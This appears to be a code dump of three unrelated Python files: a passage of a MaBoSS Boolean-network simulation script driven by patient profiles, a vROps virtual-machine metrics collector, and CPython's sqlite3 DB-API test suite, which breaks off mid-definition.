parser.add_argument("-o","--outputs", help="outputs are marked as external nodes, whose final probabilities are saved in the result file (ex: 'Proliferation,Apoptosis')") parser.add_argument("-s","--suffix", help="suffix is added to all intermediate and result files (ex: 'my_simulation')") parser.add_argument("-m","--mutants", help="name of the csv file containing perturbation profiles to define node mutants (also called node activity status): one profile/patient by line, with multiple genes separated by a comma. Binary 0/1 information (NA tolerated)") parser.add_argument("-c","--init_cond", help="name of the csv file containing perturbation profiles to define node initial conditions: one profile/patient by line, with multiple genes separated by a comma. Binary 0/1 (NA tolerated) or continuous [0,1] information") parser.add_argument("-rb","--rates_basic", help="name of the csv file containing perturbation profiles to define reaction rates based on node normalized state: one profile/patient by line, with multiple genes separated by a comma. Continuous [0,1] information") parser.add_argument("-ra","--rates_advanced", help="name of the csv file containing perturbation profiles to define reaction rates based on activators/inhibitors nodes states: one profile/patient by line, with multiple genes separated by a comma. Continuous [0,1] information") parser.add_argument("-rf","--rates_factor", help="multiplication factor for rates when using one of the 'rates' methods (ex: '100' in order to have rates between 1/100 and 100)") args = parser.parse_args() #%% Process Arguments print("Arguments:\n") print(args) print("\n") # path to script is used to call other scripts in the same folder pathtoscript = os.path.dirname(os.path.abspath(os.path.realpath(sys.argv[0]))) base_path = os.path.dirname(os.path.dirname(pathtoscript))+"/" #MaBoSS exec if args.num_nodes is not None: if args.num_nodes<=64: maboss_exec = base_path+"MaBoSS/Linux/MaBoSS" elif args.num_nodes<=150: maboss_exec = base_path+"MaBoSS/Linux/MaBoSS_150n" else: print("Your model has more than 150 nodes, please recompile MaBoSS with the number of nodes of your model. See MaBoSS compiling help: http://maboss.curie.fr/") if not os.path.isfile(maboss_exec): print("Relevant MaBoSS executable is not available") sys.exit(1) print("MaBoSS executable: "+maboss_exec) # number of parallel processes if args.num_processes is not None: nbprocesses=args.num_processes else: nbprocesses=1 print("Number of parallel processes: "+str(nbprocesses)) #Check that the model exist or translate it to maboss format if it is a .bnet file model=args.model path_model = base_path+"Models/"+model+"/"+model print("Model: "+model) if not os.path.isfile(path_model+".bnd"): if not os.path.isfile(path_model+".bnet"): print(model+".bnd and .bnet files not found") sys.exit(1) else: print("Convert .bnet file in .bnd file") sys.exit(1) if not os.path.isfile(path_model+".cfg"): print(model+".cfg file not found") sys.exit(1) #Inputs/outputs processing #Define constant nodes and input nodes based on .bnd file lines = open(path_model+".bnd").readlines() constant_nodes = dict() input_nodes = dict() for i in range(len(lines)): if re.search("Node ", lines[i]): node_name = lines[i].split(" ")[1] if re.search(" logic = [01];", lines[i+1]): constant_nodes[node_name] = int(lines[i+1][-3]) if re.search("logic = [(]?"+re.escape(node_name)+"[)]?;",lines[i+1]): input_nodes[node_name] = 0.5 #Unless otherwise specified, we define a 0.5 default value for input #Use inputs argument to modify previous dict if args.inputs is not None: inputs = args.inputs.split(",") for input_item in inputs: input_nodes[input_item.split(":")[0]] = float(input_item.split(":")[1]) #Define outputs if os.path.isfile(path_model + ".reggraph"): lines = open(path_model + ".reggraph").read().splitlines() lines=[x.split(" ") for x in lines] targets = [item[0] for item in lines] actions = [item[1] for item in lines] players = [item[2] for item in lines] model_outputs = list(set(targets) - set(players)) if args.outputs is not None: outputs = args.outputs.split(",") elif os.path.isfile(path_model + ".reggraph") and len(model_outputs)>0: outputs = model_outputs else: outputs = ["Proliferation","Apoptosis"] if os.path.isfile(path_model + ".reggraph"): print("Inputs: "+str(input_nodes)+" - Constant nodes: "+str(constant_nodes)+" - Outputs: "+str(outputs)+" - Model outputs: "+str(model_outputs)) else: print("Inputs: "+str(input_nodes)+" - Constant nodes: "+str(constant_nodes)+" - Outputs: "+str(outputs)) #Define patient lists cases_common = list() #Define mutants if args.mutants is not None: mutants = pd.read_csv(args.mutants) mutants.rename(columns={'Unnamed: 0':'Name'}, inplace=True) mutants_dict = mutants.set_index('Name').to_dict(orient="index") #mutants_dict = {k: v for k, v in mutants_dict.items() if not math.isnan(v)} cases_mut = list(mutants_dict.keys()) cases_common.append(cases_mut) #Define rates if args.rates_basic is not None: rates_f = float(args.rates_factor) rates = pd.read_csv(args.rates_basic) rates.rename(columns={'Unnamed: 0':'Name'}, inplace=True) rates_dict = rates.set_index('Name').to_dict(orient="index") cases_rates = list(rates_dict.keys()) cases_common.append(cases_rates) #Define rates_advanced and factor if args.rates_advanced is not None: #Import data to define rates rates_a = pd.read_csv(args.rates_advanced) rates_a.rename(columns={'Unnamed: 0':'Name'}, inplace=True) rates_a_dict = rates_a.set_index('Name').to_dict(orient="index") cases_rates_a = list(rates_a_dict.keys()) cases_common.append(cases_rates_a) rates_f = float(args.rates_factor) rates_nodes=list(rates_a) rates_nodes.remove('Name') #Activator/Inhibitor dictionnaries model_activators = {} for node in set(targets): model_activators[node] = [x for x,y,z in zip(players,actions,targets) if (x in rates_nodes) and y=='->' and z==node] model_inhibitors = {} for node in set(targets): model_inhibitors[node] = [x for x,y,z in zip(players,actions,targets) if (x in rates_nodes) and y=='-|' and z==node] model_activators={k: v for k, v in model_activators.items() if v} model_inhibitors={k: v for k, v in model_inhibitors.items() if v} #Define init_cond profile if args.init_cond is not None: init_cond = pd.read_csv(args.init_cond) init_cond.rename(columns={'Unnamed: 0':'Name'}, inplace=True) init_cond_dict = init_cond.set_index('Name').to_dict(orient="index") cases_exp = list(init_cond_dict.keys()) cases_common.append(cases_exp) #Define patient lists if not all(v is None for v in [args.mutants, args.rates_basic, args.rates_advanced, args.init_cond]): cases_common = list(set.intersection(*map(set, cases_common))) #Define save_file and number of nodes save_file=args.save_file nbnodes=args.num_nodes #Define suffix if args.suffix is not None: suffix = args.suffix else: suffix = "classic" print("Suffix: "+suffix) os.system("cp "+path_model+".bnd "+path_model+"_"+suffix+".bnd") os.system("cp "+path_model+".cfg "+path_model+"_"+suffix+".cfg") model=model+"_"+suffix path_model=path_model+"_"+suffix #Prepare simulation #Define outputs as external nodes for output in outputs: os.system("sed -i 's/^\[?"+output+"\]?\.is_internal *= *(TRUE|1);/"+output+".is_internal=FALSE;/g' "+path_model+"'.cfg'") #Define proper initial conditions for inputs and constant nodes (implicit inputs) for input_item, input_value in dict(input_nodes, **constant_nodes).items(): os.system("sed -i '/^\[?"+input_item+"\]?\.istate *=/d' "+path_model+".cfg") os.system("echo '["+input_item+"].istate = "+str(input_value)+"[1], "+str(1-input_value)+"[0];' >> "+path_model+".cfg") #Define function used to perform the simulation itself and process the output def perform_MaBoSS_simulation(n_profile, fname, profile_name): path_fname=path_model+"_"+str(n_profile) string_opt=path_fname+".bnd " + path_fname + ".cfg -mb " + maboss_exec os.chdir(os.path.dirname(path_model)) os.system(base_path+"Scripts/Simulations/MBSS_FormatTable.pl " + string_opt) os.chdir(current_wd) #subprocess.Popen([base_path+"Scripts/Simulations/MBSS_FormatTable.pl " + string_opt, cwd=os.path.dirname(path_model)) # store column names (states) and last line with final state distribution in a temp file os.system("head -n 1 "+path_fname+"/"+fname+"_probtraj_table.csv > "+path_fname+"/"+fname+"_lastprob_table.csv") os.system("tail -n 1 "+path_fname+"/"+fname+"_probtraj_table.csv >> "+path_fname+"/"+fname+"_lastprob_table.csv") # extract the output probas from final state distribution in fname+"/"+fname+"_lastprob.csv os.system("Rscript "+base_path+"Scripts/Simulations/extract_output_probas.R -i "+path_fname+"/"+fname+"_lastprob_table.csv -o "+path_fname+"/"+fname+"_lastprob -n "+",".join(outputs)) # add the number of the simulation to the line finally saved os.system("echo "+str(n_profile)+"\t"+profile_name+" $(tail -n 1 "+path_fname+"/"+fname+"_lastprob.csv) >> "+save_file) #Remove temporary files os.system("rm "+path_fname+"/*") os.system("rmdir "+path_fname) os.system("rm "+path_fname+".bnd") os.system("rm "+path_fname+".cfg") if profile_name is not "WT": previous.append(n_profile) ##Launch simulations depending on the case os.system("echo n_profile\tPatient_ID\tTime\t"+'\t'.join(outputs)+"\tTH > "+save_file) if all(v is None for v in [args.mutants, args.rates_basic, args.rates_advanced, args.init_cond]): n_profile=0 fname=model perform_MaBoSS_simulation(0,fname, "WT") else: manager=mp.Manager() previous=manager.list() processes = list() for i in range(len(cases_common)): patient_id=cases_common[i] fname=model+"_"+str(i) path_fname=path_model+"_"+str(i) os.system("cp "+path_model+".bnd "+path_fname+".bnd") os.system("cp "+path_model+".cfg "+path_fname+".cfg") # set init_cond profiles if args.init_cond is not None: patient_dict = init_cond_dict[patient_id] patient_dict_red = { k:v for k, v in patient_dict.items() if not numpy.isnan(v) } for node, value in patient_dict_red.items(): value_red = round(value,5) os.system("sed -i '/^\[?"+node+"\]?\.istate/d' "+path_fname+"'.cfg'") os.system("echo '["+node+"].istate = "+str(value_red)+"[1], "+str(1-value_red)+"[0];' >> "+path_fname+".cfg") # set rates profiles if args.rates_basic is not None: rates_list=rates_dict[patient_id] rates_list_red={ k:v for k, v in rates_list.items() if not numpy.isnan(v) } for node, value in rates_list_red.items(): if not numpy.isnan(value): up_value = round(10**(2*numpy.log10(rates_f)*(value-0.5)),5) up_value = round(rates_f**(2*value-1),5) down_value = 1/up_value original_up = float(os.popen("grep -E '^\$u_"+node+" *= *' "+path_fname+".cfg | cut -d'=' -f2 | cut -d';' -f1| tr -d '\n'").read()) original_down = float(os.popen("grep -E '^\$d_"+node+" *= *' "+path_fname+".cfg | cut -d'=' -f2 | cut -d';' -f1| tr -d '\n'").read()) os.system("sed -i 's/u_"+node+" *= *[0-9]*\.*[0-9]*;/u_"+node+"="+str(up_value*original_up)+";/g' "+path_fname+"'.cfg'") os.system("sed -i 's/d_"+node+" *= *[0-9]*\.*[0-9]*;/d_"+node+"="+str(down_value*original_down)+";/g' "+path_fname+"'.cfg'") value_red = round(value,5) os.system("sed -i '/^\[?"+node+"\]?\.istate/d' "+path_fname+"'.cfg'") os.system("echo '["+node+"].istate = "+str(value_red)+"[1], "+str(1-value_red)+"[0];' >> "+path_fname+".cfg") # set rates_advanced profiles if args.rates_advanced is not None: rates_dict_patient=rates_a_dict[patient_id] for node, value in model_activators.items(): acti_value = numpy.nanmean([rates_dict_patient[node_name] for node_name in value]) if not numpy.isnan(acti_value): original_up = float(os.popen("grep -E '^\$u_"+node+" *= *' "+path_fname+".cfg | cut -d'=' -f2 | cut -d';' -f1| tr -d '\n'").read()) rate_value = round(rates_f**(2*acti_value-1),5) os.system("sed -i 's/u_"+node+" *= *[0-9]*\.*[0-9]*;/u_"+node+"="+str(rate_value*original_up)+";/g' "+path_fname+"'.cfg'") for node, value in model_inhibitors.items(): inhi_value = numpy.nanmean([rates_dict_patient[node_name] for node_name in value]) if not numpy.isnan(inhi_value): original_down = float(os.popen("grep -E '^\$d_"+node+" *= *' "+path_fname+".cfg | cut -d'=' -f2 | cut -d';' -f1| tr -d '\n'").read()) rate_value = round(rates_f**(2*inhi_value-1),5) os.system("sed -i 's/d_"+node+" *= *[0-9]*\.*[0-9]*;/d_"+node+"="+str(rate_value*original_down)+";/g' "+path_fname+"'.cfg'") inputs_to_specify = list(set(input_nodes.keys()) & set(rates_nodes)) for node in inputs_to_specify: value = round(rates_dict_patient[node],5) os.system("sed -i '/^\[?"+node+"\]?\.istate/d' "+path_fname+"'.cfg'") os.system("echo '["+node+"].istate = "+str(value)+"[1], "+str(1-value)+"[0];' >> "+path_fname+".cfg") # set mutants profiles if args.mutants is not None: mutants_list=mutants_dict[patient_id] mutants_list_red={ k:v for k, v in mutants_list.items() if not numpy.isnan(v) } for node, value in mutants_list_red.items(): os.system("sed -i '/^\[?"+node+"\]?\.istate/d' "+path_fname+"'.cfg'") if value==0: os.system("sed -i 's/u_"+node+" *= *[0-9]*\.*[0-9]*;/u_"+node+"=0;/g' "+path_fname+"'.cfg'") os.system("echo '["+node+"].istate=0[1], 1[0];' >> "+path_fname+".cfg") elif value==1: os.system("sed -i 's/d_"+node+"= *= *[0-9]*\.*[0-9]*;/d_"+node+"=0;/g' "+path_fname+"'.cfg'") os.system("echo '["+node+"].istate=1[1], 0[1];' >> "+path_fname+".cfg") while len(previous)<i-(nbprocesses-1): time.sleep(1) print(str(i)+": "+patient_id) p = mp.Process(target = perform_MaBoSS_simulation, args=(i,fname,patient_id)) p.start() processes.append(p) for process in processes: process.join() os.system("rm "+path_model+".bnd") os.system("rm "+path_model+".cfg")
VMPropertiesCollector.py
from BaseCollector import BaseCollector from tools.Resources import Resources from threading import Thread import os class VMPropertiesCollector(BaseCollector): def __init__(self): super().__init__() self.wait_for_inventory_data() self.name = self.__class__.__name__ self.vrops_entity_name = 'virtualmachine' # self.post_registered_collector(self.name, self.g.name, self.i.name + '_info') def collect(self): gauges = self.generate_gauges('property', self.name, self.vrops_entity_name, [self.vrops_entity_name, 'datacenter', 'vccluster', 'hostsystem', 'project']) infos = self.generate_infos(self.name, self.vrops_entity_name, [self.vrops_entity_name, 'datacenter', 'vccluster', 'hostsystem', 'project']) states = self.generate_states(self.name, self.vrops_entity_name, [self.vrops_entity_name, 'datacenter', 'vccluster', 'hostsystem', 'state', 'project']) project_ids = self.get_project_ids_by_target() if os.environ['DEBUG'] >= '1': print(self.name, 'starts with collecting the metrics') thread_list = list() for target in self.get_vms_by_target(): project_ids_target = project_ids[target] t = Thread(target=self.do_metrics, args=(target, gauges, infos, states, project_ids_target)) thread_list.append(t) t.start() for t in thread_list: t.join() # self.post_metrics(self.g.name) # self.post_metrics(self.i.name + '_info') for metric_suffix in gauges: yield gauges[metric_suffix]['gauge'] for metric_suffix in infos: yield infos[metric_suffix]['info'] for metric_suffix in states: yield states[metric_suffix]['state'] def do_metrics(self, target, gauges, infos, states, project_ids): token = self.get_target_tokens() token = token[target] if not token: print("skipping", target, "in", self.name, ", no token") uuids = self.target_vms[target] for metric_suffix in gauges: propkey = gauges[metric_suffix]['property'] values = Resources.get_latest_number_properties_multiple(target, token, uuids, propkey) if not values: continue for value_entry in values: if 'data' not in value_entry: continue metric_value = value_entry['data'] vm_id = value_entry['resourceId'] project_id = "internal" if project_ids: for vm_id_project_mapping in project_ids: if vm_id in vm_id_project_mapping: project_id = vm_id_project_mapping[vm_id] gauges[metric_suffix]['gauge'].add_metric( labels=[self.vms[vm_id]['name'], self.vms[vm_id]['datacenter'].lower(), self.vms[vm_id]['cluster'], self.vms[vm_id]['parent_host_name'], project_id], value=metric_value) for metric_suffix in states: propkey = states[metric_suffix]['property'] values = Resources.get_latest_enum_properties_multiple(target, token, uuids, propkey) if not values: continue for value_entry in values: if 'value' not in value_entry: continue data = (1 if states[metric_suffix]['expected'] == value_entry['value'] else 0) vm_id = value_entry['resourceId'] project_id = "internal" if project_ids: for vm_id_project_mapping in project_ids: if vm_id in vm_id_project_mapping: project_id = vm_id_project_mapping[vm_id] states[metric_suffix]['state'].add_metric( labels=[self.vms[vm_id]['name'], self.vms[vm_id]['datacenter'].lower(), self.vms[vm_id]['cluster'], self.vms[vm_id]['parent_host_name'], value_entry['value'], project_id], value=data) for metric_suffix in infos: propkey = infos[metric_suffix]['property'] values = Resources.get_latest_info_properties_multiple(target, token, uuids, propkey) if not values: continue for value_entry in values: if 'data' not in value_entry: continue vm_id = value_entry['resourceId'] project_id = "internal" if project_ids: for vm_id_project_mapping in project_ids: if vm_id in vm_id_project_mapping: project_id = vm_id_project_mapping[vm_id] info_value = value_entry['data'] infos[metric_suffix]['info'].add_metric( labels=[self.vms[vm_id]['name'], self.vms[vm_id]['datacenter'].lower(), self.vms[vm_id]['cluster'], self.vms[vm_id]['parent_host_name'], project_id], value={metric_suffix: info_value})
dbapi.py
# pysqlite2/test/dbapi.py: tests for DB-API compliance # # Copyright (C) 2004-2010 Gerhard Häring <gh@ghaering.de> # # This file is part of pysqlite. # # This software is provided 'as-is', without any express or implied # warranty. In no event will the authors be held liable for any damages # arising from the use of this software. # # Permission is granted to anyone to use this software for any purpose, # including commercial applications, and to alter it and redistribute it # freely, subject to the following restrictions: # # 1. The origin of this software must not be misrepresented; you must not # claim that you wrote the original software. If you use this software # in a product, an acknowledgment in the product documentation would be # appreciated but is not required. # 2. Altered source versions must be plainly marked as such, and must not be # misrepresented as being the original software. # 3. This notice may not be removed or altered from any source distribution. import contextlib import sqlite3 as sqlite import sys import threading import unittest from test.support.os_helper import TESTFN, unlink # Helper for tests using TESTFN @contextlib.contextmanager def managed_connect(*args, **kwargs): cx = sqlite.connect(*args, **kwargs) try: yield cx finally: cx.close() unlink(TESTFN) class ModuleTests(unittest.TestCase): def test_api_level(self): self.assertEqual(sqlite.apilevel, "2.0", "apilevel is %s, should be 2.0" % sqlite.apilevel) def test_thread_safety(self): self.assertEqual(sqlite.threadsafety, 1, "threadsafety is %d, should be 1" % sqlite.threadsafety) def test_param_style(self): self.assertEqual(sqlite.paramstyle, "qmark", "paramstyle is '%s', should be 'qmark'" % sqlite.paramstyle) def test_warning(self): self.assertTrue(issubclass(sqlite.Warning, Exception), "Warning is not a subclass of Exception") def test_error(self): self.assertTrue(issubclass(sqlite.Error, Exception), "Error is not a subclass of Exception") def test_interface_error(self): self.assertTrue(issubclass(sqlite.InterfaceError, sqlite.Error), "InterfaceError is not a subclass of Error") def test_database_error(self): self.assertTrue(issubclass(sqlite.DatabaseError, sqlite.Error), "DatabaseError is not a subclass of Error") def test_data_error(self): self.assertTrue(issubclass(sqlite.DataError, sqlite.DatabaseError), "DataError is not a subclass of DatabaseError") def test_operational_error(self): self.assertTrue(issubclass(sqlite.OperationalError, sqlite.DatabaseError), "OperationalError is not a subclass of DatabaseError") def test_integrity_error(self): self.assertTrue(issubclass(sqlite.IntegrityError, sqlite.DatabaseError), "IntegrityError is not a subclass of DatabaseError") def test_internal_error(self): self.assertTrue(issubclass(sqlite.InternalError, sqlite.DatabaseError), "InternalError is not a subclass of DatabaseError") def test_programming_error(self): self.assertTrue(issubclass(sqlite.ProgrammingError, sqlite.DatabaseError), "ProgrammingError is not a subclass of DatabaseError") def test_not_supported_error(self): self.assertTrue(issubclass(sqlite.NotSupportedError, sqlite.DatabaseError), "NotSupportedError is not a subclass of DatabaseError") # sqlite3_enable_shared_cache() is deprecated on macOS and calling it may raise # OperationalError on some buildbots. @unittest.skipIf(sys.platform == "darwin", "shared cache is deprecated on macOS") def test_shared_cache_deprecated(self): for enable in (True, False): with self.assertWarns(DeprecationWarning) as cm: sqlite.enable_shared_cache(enable) self.assertIn("dbapi.py", cm.filename) class ConnectionTests(unittest.TestCase): def setUp(self): self.cx = sqlite.connect(":memory:") cu = self.cx.cursor() cu.execute("create table test(id integer primary key, name text)") cu.execute("insert into test(name) values (?)", ("foo",)) def tearDown(self): self.cx.close() def test_commit(self): self.cx.commit() def test_commit_after_no_changes(self): """ A commit should also work when no changes were made to the database. """ self.cx.commit() self.cx.commit() def test_rollback(self): self.cx.rollback() def test_rollback_after_no_changes(self): """ A rollback should also work when no changes were made to the database. """ self.cx.rollback() self.cx.rollback() def test_cursor(self): cu = self.cx.cursor() def test_failed_open(self): YOU_CANNOT_OPEN_THIS = "/foo/bar/bla/23534/mydb.db" with self.assertRaises(sqlite.OperationalError): con = sqlite.connect(YOU_CANNOT_OPEN_THIS) def test_close(self): self.cx.close() def test_use_after_close(self): sql = "select 1" cu = self.cx.cursor() res = cu.execute(sql) self.cx.close() self.assertRaises(sqlite.ProgrammingError, res.fetchall) self.assertRaises(sqlite.ProgrammingError, cu.execute, sql) self.assertRaises(sqlite.ProgrammingError, cu.executemany, sql, []) self.assertRaises(sqlite.ProgrammingError, cu.executescript, sql) self.assertRaises(sqlite.ProgrammingError, self.cx.execute, sql) self.assertRaises(sqlite.ProgrammingError, self.cx.executemany, sql, []) self.assertRaises(sqlite.ProgrammingError, self.cx.executescript, sql) self.assertRaises(sqlite.ProgrammingError, self.cx.create_function, "t", 1, lambda x: x) self.assertRaises(sqlite.ProgrammingError, self.cx.cursor) with self.assertRaises(sqlite.ProgrammingError): with self.cx: pass def test_exceptions(self): # Optional DB-API extension. self.assertEqual(self.cx.Warning, sqlite.Warning) self.assertEqual(self.cx.Error, sqlite.Error) self.assertEqual(self.cx.InterfaceError, sqlite.InterfaceError) self.assertEqual(self.cx.DatabaseError, sqlite.DatabaseError) self.assertEqual(self.cx.DataError, sqlite.DataError) self.assertEqual(self.cx.OperationalError, sqlite.OperationalError) self.assertEqual(self.cx.IntegrityError, sqlite.IntegrityError) self.assertEqual(self.cx.InternalError, sqlite.InternalError) self.assertEqual(self.cx.ProgrammingError, sqlite.ProgrammingError) self.assertEqual(self.cx.NotSupportedError, sqlite.NotSupportedError) def test_in_transaction(self): # Can't use db from setUp because we want to test initial state. cx = sqlite.connect(":memory:") cu = cx.cursor() self.assertEqual(cx.in_transaction, False) cu.execute("create table transactiontest(id integer primary key, name text)") self.assertEqual(cx.in_transaction, False) cu.execute("insert into transactiontest(name) values (?)", ("foo",)) self.assertEqual(cx.in_transaction, True) cu.execute("select name from transactiontest where name=?", ["foo"]) row = cu.fetchone() self.assertEqual(cx.in_transaction, True) cx.commit() self.assertEqual(cx.in_transaction, False) cu.execute("select name from transactiontest where name=?", ["foo"]) row = cu.fetchone() self.assertEqual(cx.in_transaction, False) def test_in_transaction_ro(self): with self.assertRaises(AttributeError): self.cx.in_transaction = True class OpenTests(unittest.TestCase): _sql = "create table test(id integer)" def test_open_with_path_like_object(self): """ Checks that we can successfully connect to a database using an object that is PathLike, i.e. has __fspath__(). """ class Path: def __fspath__(self): return TESTFN path = Path() with managed_connect(path) as cx: cx.execute(self._sql) def test_open_uri(self): with managed_connect(TESTFN) as cx: cx.execute(self._sql) with managed_connect(f"file:{TESTFN}", uri=True) as cx: cx.execute(self._sql) with self.assertRaises(sqlite.OperationalError): with managed_connect(f"file:{TESTFN}?mode=ro", uri=True) as cx: cx.execute(self._sql) class CursorTests(unittest.TestCase): def setUp(self): self.cx = sqlite.connect(":memory:") self.cu = self.cx.cursor() self.cu.execute( "create table test(id integer primary key, name text, " "income number, unique_test text unique)" ) self.cu.execute("insert into test(name) values (?)", ("foo",)) def tearDown(self): self.cu.close() self.cx.close() def test_execute_no_args(self): self.cu.execute("delete from test") def test_execute_illegal_sql(self): with self.assertRaises(sqlite.OperationalError): self.cu.execute("select asdf") def test_execute_too_much_sql(self): with self.assertRaises(sqlite.Warning): self.cu.execute("select 5+4; select 4+5") def test_execute_too_much_sql2(self): self.cu.execute("select 5+4; -- foo bar") def test_execute_too_much_sql3(self): self.cu.execute(""" select 5+4; /* foo */ """) def test_execute_wrong_sql_arg(self): with self.assertRaises(TypeError): self.cu.execute(42) def test_execute_arg_int(self): self.cu.execute("insert into test(id) values (?)", (42,)) def test_execute_arg_float(self): self.cu.execute("insert into test(income) values (?)", (2500.32,)) def test_execute_arg_string(self): self.cu.execute("insert into test(name) values (?)", ("Hugo",)) def test_execute_arg_string_with_zero_byte(self): self.cu.execute("insert into test(name) values (?)", ("Hu\x00go",)) self.cu.execute("select name from test where id=?", (self.cu.lastrowid,)) row = self.cu.fetchone() self.assertEqual(row[0], "Hu\x00go") def test_execute_non_iterable(self): with self.assertRaises(ValueError) as cm: self.cu.execute("insert into test(id) values (?)", 42) self.assertEqual(str(cm.exception), 'parameters are of unsupported type') def test_execute_wrong_no_of_args1(self): # too many parameters with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("insert into test(id) values (?)", (17, "Egon")) def test_execute_wrong_no_of_args2(self): # too little parameters with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("insert into test(id) values (?)") def test_execute_wrong_no_of_args3(self): # no parameters, parameters are needed with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("insert into test(id) values (?)") def test_execute_param_list(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=?", ["foo"]) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def test_execute_param_sequence(self): class L: def __len__(self): return 1 def __getitem__(self, x): assert x == 0 return "foo" self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=?", L()) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def test_execute_param_sequence_bad_len(self): # Issue41662: Error in __len__() was overridden with ProgrammingError. class L: def __len__(self): 1/0 def __getitem__(slf, x): raise AssertionError self.cu.execute("insert into test(name) values ('foo')") with self.assertRaises(ZeroDivisionError): self.cu.execute("select name from test where name=?", L()) def test_execute_dict_mapping(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=:name", {"name": "foo"}) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def test_execute_dict_mapping_mapping(self): class D(dict): def __missing__(self, key): return "foo" self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=:name", D()) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def test_execute_dict_mapping_too_little_args(self): self.cu.execute("insert into test(name) values ('foo')") with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("select name from test where name=:name and id=:id", {"name": "foo"}) def test_execute_dict_mapping_no_args(self): self.cu.execute("insert into test(name) values ('foo')") with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("select name from test where name=:name") def test_execute_dict_mapping_unnamed(self): self.cu.execute("insert into test(name) values ('foo')") with self.assertRaises(sqlite.ProgrammingError): self.cu.execute("select name from test where name=?", {"name": "foo"}) def test_close(self): self.cu.close() def test_rowcount_execute(self): self.cu.execute("delete from test") self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("update test set name='bar'") self.assertEqual(self.cu.rowcount, 2) def test_rowcount_select(self): """ pysqlite does not know the rowcount of SELECT statements, because we don't fetch all rows after executing the select statement. The rowcount has thus to be -1. """ self.cu.execute("select 5 union select 6") self.assertEqual(self.cu.rowcount, -1) def test_rowcount_executemany(self): self.cu.execute("delete from test") self.cu.executemany("insert into test(name) values (?)", [(1,), (2,), (3,)]) self.assertEqual(self.cu.rowcount, 3) def test_total_changes(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("insert into test(name) values ('foo')") self.assertLess(2, self.cx.total_changes, msg='total changes reported wrong value') # Checks for executemany: # Sequences are required by the DB-API, iterators # enhancements in pysqlite. def test_execute_many_sequence(self): self.cu.executemany("insert into test(income) values (?)", [(x,) for x in range(100, 110)]) def test_execute_many_iterator(self): class MyIter: def __init__(self): self.value = 5 def __next__(self): if self.value == 10: raise StopIteration else: self.value += 1 return (self.value,) self.cu.executemany("insert into test(income) values (?)", MyIter()) def test_execute_many_generator(self): def mygen(): for i in range(5): yield (i,) self.cu.executemany("insert into test(income) values (?)", mygen()) def test_execute_many_wrong_sql_arg(self): with self.assertRaises(TypeError): self.cu.executemany(42, [(3,)]) def test_execute_many_select(self): with self.assertRaises(sqlite.ProgrammingError): self.cu.executemany("select ?", [(3,)]) def test_execute_many_not_iterable(self): with self.assertRaises(TypeError): self.cu.executemany("insert into test(income) values (?)", 42) def test_fetch_iter(self): # Optional DB-API extension. self.cu.execute("delete from test") self.cu.execute("insert into test(id) values (?)", (5,)) self.cu.execute("insert into test(id) values (?)", (6,)) self.cu.execute("select id from test order by id") lst = [] for row in self.cu: lst.append(row[0]) self.assertEqual(lst[0], 5) self.assertEqual(lst[1], 6) def test_fetchone(self): self.cu.execute("select name from test") row = self.cu.fetchone() self.assertEqual(row[0], "foo") row = self.cu.fetchone() self.assertEqual(row, None) def test_fetchone_no_statement(self): cur = self.cx.cursor() row = cur.fetchone() self.assertEqual(row, None) def test_array_size(self): # must default ot 1 self.assertEqual(self.cu.arraysize, 1) # now set to 2 self.cu.arraysize = 2 # now make the query return 3 rows self.cu.execute("delete from test") self.cu.execute("insert into test(name) values ('A')") self.cu.execute("insert into test(name) values ('B')") self.cu.execute("insert into test(name) values ('C')") self.cu.execute("select name from test") res = self.cu.fetchmany() self.assertEqual(len(res), 2) def test_fetchmany(self): self.cu.execute("select name from test") res = self.cu.fetchmany(100) self.assertEqual(len(res), 1) res = self.cu.fetchmany(100) self.assertEqual(res, []) def test_fetchmany_kw_arg(self): """Checks if fetchmany works with keyword arguments""" self.cu.execute("select name from test") res = self.cu.fetchmany(size=100) self.assertEqual(len(res), 1) def test_fetchall(self): self.cu.execute("select name from test") res = self.cu.fetchall() self.assertEqual(len(res), 1) res = self.cu.fetchall() self.assertEqual(res, []) def test_setinputsizes(self): self.cu.setinputsizes([3, 4, 5]) def test_setoutputsize(self): self.cu.setoutputsize(5, 0) def test_setoutputsize_no_column(self): self.cu.setoutputsize(42) def test_cursor_connection(self): # Optional DB-API extension. self.assertEqual(self.cu.connection, self.cx) def test_wrong_cursor_callable(self): with self.assertRaises(TypeError): def f(): pass cur = self.cx.cursor(f) def test_cursor_wrong_class(self): class Foo: pass foo = Foo() with self.assertRaises(TypeError): cur = sqlite.Cursor(foo) def test_last_row_id_on_replace(self): """ INSERT OR REPLACE and REPLACE INTO should produce the same behavior. """ sql = '{} INTO test(id, unique_test) VALUES (?, ?)' for statement in ('INSERT OR REPLACE', 'REPLACE'): with self.subTest(statement=statement): self.cu.execute(sql.format(statement), (1, 'foo')) self.assertEqual(self.cu.lastrowid, 1) def test_last_row_id_on_ignore(self): self.cu.execute( "insert or ignore into test(unique_test) values (?)", ('test',)) self.assertEqual(self.cu.lastrowid, 2) self.cu.execute( "insert or ignore into test(unique_test) values (?)", ('test',)) self.assertEqual(self.cu.lastrowid, 2) def test_last_row_id_insert_o_r(self): results = [] for statement in ('FAIL', 'ABORT', 'ROLLBACK'): sql = 'INSERT OR {} INTO test(unique_test) VALUES (?)' with self.subTest(statement='INSERT OR {}'.format(statement)): self.cu.execute(sql.format(statement), (statement,)) results.append((statement, self.cu.lastrowid)) with self.assertRaises(sqlite.IntegrityError): self.cu.execute(sql.format(statement), (statement,)) results.append((statement, self.cu.lastrowid)) expected = [ ('FAIL', 2), ('FAIL', 2), ('ABORT', 3), ('ABORT', 3), ('ROLLBACK', 4), ('ROLLBACK', 4), ] self.assertEqual(results, expected) class ThreadTests(unittest.TestCase): def 